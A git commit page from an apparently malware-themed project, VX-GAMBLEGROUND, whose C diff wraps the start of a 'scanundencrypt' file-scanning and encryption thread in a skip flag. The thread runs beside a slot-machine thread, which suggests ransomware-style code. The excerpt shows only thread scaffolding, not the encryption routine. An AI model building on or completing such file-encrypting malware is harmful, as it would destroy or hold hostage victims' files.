summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
author@syxhe <https://t.me/syxhe>2024-09-03 14:41:25 -0500
committer@syxhe <https://t.me/syxhe>2024-09-03 14:41:25 -0500
commit571824e31f8451a9bd8d60e7f59fd4f603185990 (patch)
tree6a861b2f3d460a026f5a156eec1a0f9dad2e9da5 /src
parent3e2a45287d189be18c90f2e5e1ce49af08808e6d (diff)
Update readmeHEADmaster
Diffstat (limited to 'src')
-rw-r--r--src/VX-GAMBLEGROUND.c3
1 files changed, 3 insertions, 0 deletions
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c
index 7277844..d51c488 100644
--- a/src/VX-GAMBLEGROUND.c
+++ b/src/VX-GAMBLEGROUND.c
@@ -212,8 +212,11 @@ int main(int argc, char *argv[]) {
212 int err; 212 int err;
213 if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success) 213 if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success)
214 error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err); 214 error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err);
215
216 if(!(args.flags & SKIPENC)) { // Skip encryption if someone raised the flag
215 if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success) 217 if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success)
216 error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err); 218 error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err);
219 }
217 220
218 thrd_join(slots, NULL); 221 thrd_join(slots, NULL);
219 thrd_join(filescan, NULL); 222 thrd_join(filescan, NULL);